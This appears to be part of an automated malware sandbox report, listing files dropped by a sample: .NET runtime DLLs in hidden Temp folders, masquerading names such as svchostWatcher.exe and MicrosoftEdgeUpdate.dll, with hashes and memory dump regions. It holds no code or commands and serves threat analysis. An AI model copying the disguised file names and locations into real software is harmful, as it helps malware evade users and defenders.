                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Security.Cryptography.Encoding.dll
                                • Size 15KB
                                • SHA256 ee9ea0a057be774f8f7a1c4204806db611550dca930af05187b9aa2ac3d40193
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.Cryptography.OpenSsl.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Security.Cryptography.OpenSsl.dll
                                • Size 14KB
                                • SHA256 6a5d5ff38c0d28beb9af3c8dcd4b7b5c639203bf9d348abd2872c540eb329e78
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.Cryptography.Primitives.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Security.Cryptography.Primitives.dll
                                • Size 15KB
                                • SHA256 7111536cf9d42907ebd1da6ac19026519161e95839a9679367e6367f1cd9e670
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.Cryptography.X509Certificates.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Security.Cryptography.X509Certificates.dll
                                • Size 16KB
                                • SHA256 d050a7b12e98aff8c3b1c1023a7c888eabc50e0fab0b2d0c4b43300249ed7d25
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.Cryptography.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Security.Cryptography.dll
                                • Size 2.0MB
                                • SHA256 5d516c9da108647fdf6f96b5926b59f497b4f0ae84a932512e1e4203c49aa5d2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.Principal.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Security.Principal.dll
                                • Size 14KB
                                • SHA256 843c55b75b0622d63e3684afb6116ffec0bb20a9c54fd6bd9228a14cf9689af2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.SecureString.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Security.SecureString.dll
                                • Size 14KB
                                • SHA256 54ad93d060e5e84ebf5c0e1dc05a74cc1a84cdc9641aae82e1d41b12912c66f1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Security.dll
                                • Size 17KB
                                • SHA256 27ae1a3a3ec6eca92ddf98cd5bde8642eaba5f0789b49f4859d27bad1fa22d91
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.ServiceModel.Web.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.ServiceModel.Web.dll
                                • Size 16KB
                                • SHA256 18734ac420d610c30416f65f3ed7d01a53eb49fb60e88797cd102efa65075891
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.ServiceProcess.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.ServiceProcess.dll
                                • Size 15KB
                                • SHA256 c5ceb3452be8c535f46d495191e7224bc11bd8ed61040f3ba2fb27c04b7f5150
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Text.Encoding.CodePages.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Text.Encoding.CodePages.dll
                                • Size 841KB
                                • SHA256 25a8c8a86f504fad669412449fee0d35c730725fe7e8b5f5a9005edb2acdab2a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Text.Encoding.Extensions.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Text.Encoding.Extensions.dll
                                • Size 15KB
                                • SHA256 1776deb74f88de69d6b420fc16aa1d4f3aa72ad4b53261c0d4f301bf2f56f87c
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Text.Encoding.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Text.Encoding.dll
                                • Size 15KB
                                • SHA256 09bda1f72189f6d1760d81e3be26c14c22b77fec5aea3c5beb7151b71fef3e3e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Text.Encodings.Web.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Text.Encodings.Web.dll
                                • Size 129KB
                                • SHA256 002a9e68f9cd05a0212524970d9cca06306425805db47462459ecd90e7ec3550
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Text.Json.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Text.Json.dll
                                • Size 1.4MB
                                • SHA256 7fd10c4d6112c43ae8b64d131180eed48938df55fd517ad88cfdc86cab37c645
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Text.RegularExpressions.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Text.RegularExpressions.dll
                                • Size 997KB
                                • SHA256 39b972d97202524c7dccd3ad38e37266fb4f16f993928e6b5791d8172781dcea
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Threading.Channels.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Threading.Channels.dll
                                • Size 129KB
                                • SHA256 4803acd30220fd4792b27942be159d468e20afa6f96fbb7e4c99882c458c789d
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Threading.Overlapped.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Threading.Overlapped.dll
                                • Size 15KB
                                • SHA256 9f3f9a9b633c4781ac3ff206bf6e7008ed9a6d19626791473c45d5844ecb8422
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Threading.Tasks.Dataflow.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Threading.Tasks.Dataflow.dll
                                • Size 477KB
                                • SHA256 afeb5e23c69430d58c9fd78e7d20981983005315af4dfb3513a6472fa5fa0db5
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Threading.Tasks.Extensions.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Threading.Tasks.Extensions.dll
                                • Size 15KB
                                • SHA256 8017247916f5167418423f3b80152097f9c059217c972c6d2f7046959b8a30ea
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Threading.Tasks.Parallel.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Threading.Tasks.Parallel.dll
                                • Size 129KB
                                • SHA256 178509c7f18ecf1f6b6fa35090f62456a83debf7403899f2c69e92f830730b74
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Threading.Tasks.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Threading.Tasks.dll
                                • Size 16KB
                                • SHA256 42b824aa602e8fcb93ec17c57e4c4b9b4c2c7982301e45ab41a89792b7954003
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Threading.ThreadPool.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Threading.ThreadPool.dll
                                • Size 15KB
                                • SHA256 7c4f4da70aa737d473b8ddee9f5f062dbb71debb689d5f8f2fa2d7d5235d4e6b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Threading.Timer.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Threading.Timer.dll
                                • Size 14KB
                                • SHA256 725485ec61aed90fc92230958094d3e44aa35437d617c939e68b6552fb56a180
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Transactions.Local.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Transactions.Local.dll
                                • Size 645KB
                                • SHA256 12dabf489a5bd4768656cee0181a8b099164d5d03f8aca402117dc56646b8812
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Transactions.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Transactions.dll
                                • Size 15KB
                                • SHA256 1df4a483a90f535a2377417af9970f30e71ec05b6e6bb006be2e5e9adc1384f9
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.ValueTuple.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.ValueTuple.dll
                                • Size 14KB
                                • SHA256 daff0d3611520941b1c25cd810698f19bb89bcc6e5008b927c9b9b2d2532bab6
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Web.HttpUtility.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Web.HttpUtility.dll
                                • Size 57KB
                                • SHA256 a204f075272c50bf815688ce0a20ea1f0e8bbc0c5d9eb04b8b8c55e08632ed9a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Web.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Web.dll
                                • Size 14KB
                                • SHA256 9eecf238a75b7ee5edac99ffc76cda81d099efee8b31f8737196673c0311346e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Windows.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Windows.dll
                                • Size 15KB
                                • SHA256 6957260f1bd7191d59ce74cee8f5528111639e2e6ddd143409eb8e6ca0d06cc9
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xml.Linq.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Xml.Linq.dll
                                • Size 15KB
                                • SHA256 59e11c949bc6d313d74c45ec3231196a0933634fa2682f05b69cda451056ea54
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xml.ReaderWriter.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Xml.ReaderWriter.dll
                                • Size 21KB
                                • SHA256 eb78eece0a65af3eafa359fe3a3eb0f79b82abb34df4e0e44156c227e0d6a319
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xml.Serialization.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Xml.Serialization.dll
                                • Size 15KB
                                • SHA256 72e20d12930d0cee30bd1f9a4b9e7fa63a6420634ae87e939567e473fbaa2359
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xml.XDocument.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Xml.XDocument.dll
                                • Size 15KB
                                • SHA256 cf5eb606d17be4fa508b0b7778ae6e88d888c59c265ef32ded20b30abe8d06dd
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xml.XPath.XDocument.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Xml.XPath.XDocument.dll
                                • Size 29KB
                                • SHA256 6e76e812855fa6a0c145db1406c487a75d45b71f8dec15dd5616025f75201e23
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xml.XPath.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Xml.XPath.dll
                                • Size 15KB
                                • SHA256 baaefb29bef2c685d6c40b52811415c12a2af69161b684e02c0131a429b25170
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xml.XmlDocument.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Xml.XmlDocument.dll
                                • Size 15KB
                                • SHA256 5a5fd7c7c57f134158f5f87f89834988775ece43098d98b2ad5e6d73a712e00b
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xml.XmlSerializer.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Xml.XmlSerializer.dll
                                • Size 17KB
                                • SHA256 ae03705ba1f9a5e50703d1c044dc2e1743296e113eb41eee53b1980db2fc97c9
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Xml.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.Xml.dll
                                • Size 22KB
                                • SHA256 db528966fbf3a5aa03b1eb1bad88c1f779f6fc9654d3f7525f76bd7aac57408a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\System.dll
                                • Size 48KB
                                • SHA256 bf894ed5fa6610c1a24b09d0b89c8c8b76f0028d430ece532ab2edc748656507
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                mscorlib.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\mscorlib.dll
                                • Size 57KB
                                • SHA256 7481b932184a77b4c570dcf16837847ab4ef13868a836aac1cb226a66c7089b1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                netstandard.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\WmiPrvSE\304\netstandard.dll
                                • Size 98KB
                                • SHA256 4796b75ab9fe9a73bb1162d5ecbe75fb6d90b4af972340eefaec7c71c66ad9fa
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.CSharp.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\Microsoft.CSharp.dll
                                • Size 981KB
                                • SHA256 8d5e9b7f08216957b0b590906ea52ada2a8001fce46ce02894dd6756b1499546
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.Win32.Registry.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\Microsoft.Win32.Registry.dll
                                • Size 117KB
                                • SHA256 0c6fb02fe3e2fdc9b9e4737586caea80331424cd2806459ea49dd78848647e95
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                MicrosoftEdgeUpdate.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\MicrosoftEdgeUpdate.dll
                                • Size 17KB
                                • SHA256 6d8a50f2cbb4fb546415576977156f008008a57fc3abdd57f1e68319a77c8c91
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Collections.NonGeneric.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\System.Collections.NonGeneric.dll
                                • Size 101KB
                                • SHA256 9d9f9e4fd5ff8f56a86d867a54927705fa77d6c3e0ed94c2a52112f3ec4193bc
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Collections.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\System.Collections.dll
                                • Size 253KB
                                • SHA256 0937f7983c191dbb768c51bb9ae90621575c0a2cc3b185d85e31ac2f87001af2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Linq.Expressions.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\System.Linq.Expressions.dll
                                • Size 3.5MB
                                • SHA256 42902cb85104534692aa6160a2d3c2ff4843640271fa7a6790a7ff74ed8eafb4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Memory.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\System.Memory.dll
                                • Size 153KB
                                • SHA256 fd29c91ec1ae5ec2d98ad77f2863da6d583a3be596a1813959d02877cde057a0
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Private.CoreLib.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\System.Private.CoreLib.dll
                                • Size 12.6MB
                                • SHA256 8c01f630bb23c2fb142e6559cdcdf147105625defb36107019d4ab50d8854cd3
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Runtime.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\System.Runtime.dll
                                • Size 42KB
                                • SHA256 f1b8629204b3363722bbd6219c4fd54096cf01d29db861412c287227c130decf
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.Claims.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\System.Security.Claims.dll
                                • Size 97KB
                                • SHA256 c243e259a9d41bde55e01c1050c6e90a3c845b3ff18f64066f212ebb71bef35e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Security.Principal.Windows.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\System.Security.Principal.Windows.dll
                                • Size 181KB
                                • SHA256 f5f284590e72e565a8de13f7c31abf57defcdb71f32dcbc94152f976115efcca
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Threading.Thread.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\System.Threading.Thread.dll
                                • Size 15KB
                                • SHA256 58cd39131ec8ee3711a4d1b7c01e0a73792d4c2965195e056f4b4aa5a2319582
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Threading.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchostWatcher\mo763y1UaRKatY9Ae9QbVRrQ3erhp0s=\System.Threading.dll
                                • Size 81KB
                                • SHA256 baad7f0d2f3ef9a7b4ed7646093464edddbee0937f33de71be139a01a86375ac
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                Microsoft.Win32.Primitives.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchost\x9ASuftQWtbR8Vx2MCBSrVqpWKAqmmE=\Microsoft.Win32.Primitives.dll
                                • Size 14KB
                                • SHA256 84a579655c26542ff81208e555362b988e69457121ba7cedf49ddd85d933854f
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                SearchIndexer.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchost\x9ASuftQWtbR8Vx2MCBSrVqpWKAqmmE=\SearchIndexer.dll
                                • Size 145KB
                                • SHA256 1954091cebf29dee5e73987b58994be1fea9fe0bd618c350dfbeb2e84b035c55
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.ComponentModel.Primitives.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchost\x9ASuftQWtbR8Vx2MCBSrVqpWKAqmmE=\System.ComponentModel.Primitives.dll
                                • Size 77KB
                                • SHA256 7ace9d079c895f11c8afe54e420c8ca3a361e7fd7429b333a629094b08f73432
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Diagnostics.Process.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchost\x9ASuftQWtbR8Vx2MCBSrVqpWKAqmmE=\System.Diagnostics.Process.dll
                                • Size 329KB
                                • SHA256 5e7871e795a2c833fce3b0d02373f672ecdafdaaebd1f459a7e714ac498af428
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Drawing.Common.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchost\x9ASuftQWtbR8Vx2MCBSrVqpWKAqmmE=\System.Drawing.Common.dll
                                • Size 1.5MB
                                • SHA256 7d0a72700584d79d88b0d192e5ec16c7292cf6b829652743e65a55caf5400a3e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Linq.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchost\x9ASuftQWtbR8Vx2MCBSrVqpWKAqmmE=\System.Linq.dll
                                • Size 529KB
                                • SHA256 ad19451aa60c394640b7bf5950102f948c08b61b1d496e4f10d897449f4b18e4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                System.Runtime.InteropServices.dll

                                • Path C:\Users\Admin\AppData\Local\Temp\.net\svchost\x9ASuftQWtbR8Vx2MCBSrVqpWKAqmmE=\System.Runtime.InteropServices.dll
                                • Size 93KB
                                • SHA256 570a8140b838042a5d1135d5a20e39d18ccbfce13395c73b0b5bea935d311ea0
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                __PSScriptPolicyTest_3gnzoctg.jin.ps1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3gnzoctg.jin.ps1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                svchostWatcher.exe

                                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchostWatcher.exe
                                • Size 33.5MB
                                • SHA256 b2c72e11df1367a5afddda537368b42ba954fe45195ee54433c3a0d87b3f7503
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/2128-1600-0x00000237DC060000-0x00000237DC112000-memory.dmp

                                memory/4560-20-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-15-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-23-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-21-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-0-0x00007FFD7C96F000-0x00007FFD7C970000-memory.dmp

                                memory/4560-19-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-18-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-17-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-16-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-3-0x0000023C7A630000-0x0000023C7A652000-memory.dmp

                                memory/4560-14-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-13-0x0000023C7A6D0000-0x0000023C7A6DA000-memory.dmp

                                memory/4560-12-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-11-0x0000023C7A980000-0x0000023C7AA32000-memory.dmp

                                memory/4560-10-0x0000023C7A6E0000-0x0000023C7A6FE000-memory.dmp

                                memory/4560-7-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-6-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-5-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/4560-4-0x00007FFD7C7E0000-0x00007FFD7D184000-memory.dmp

                                memory/5912-29-0x0000024460A90000-0x0000024460B42000-memory.dmp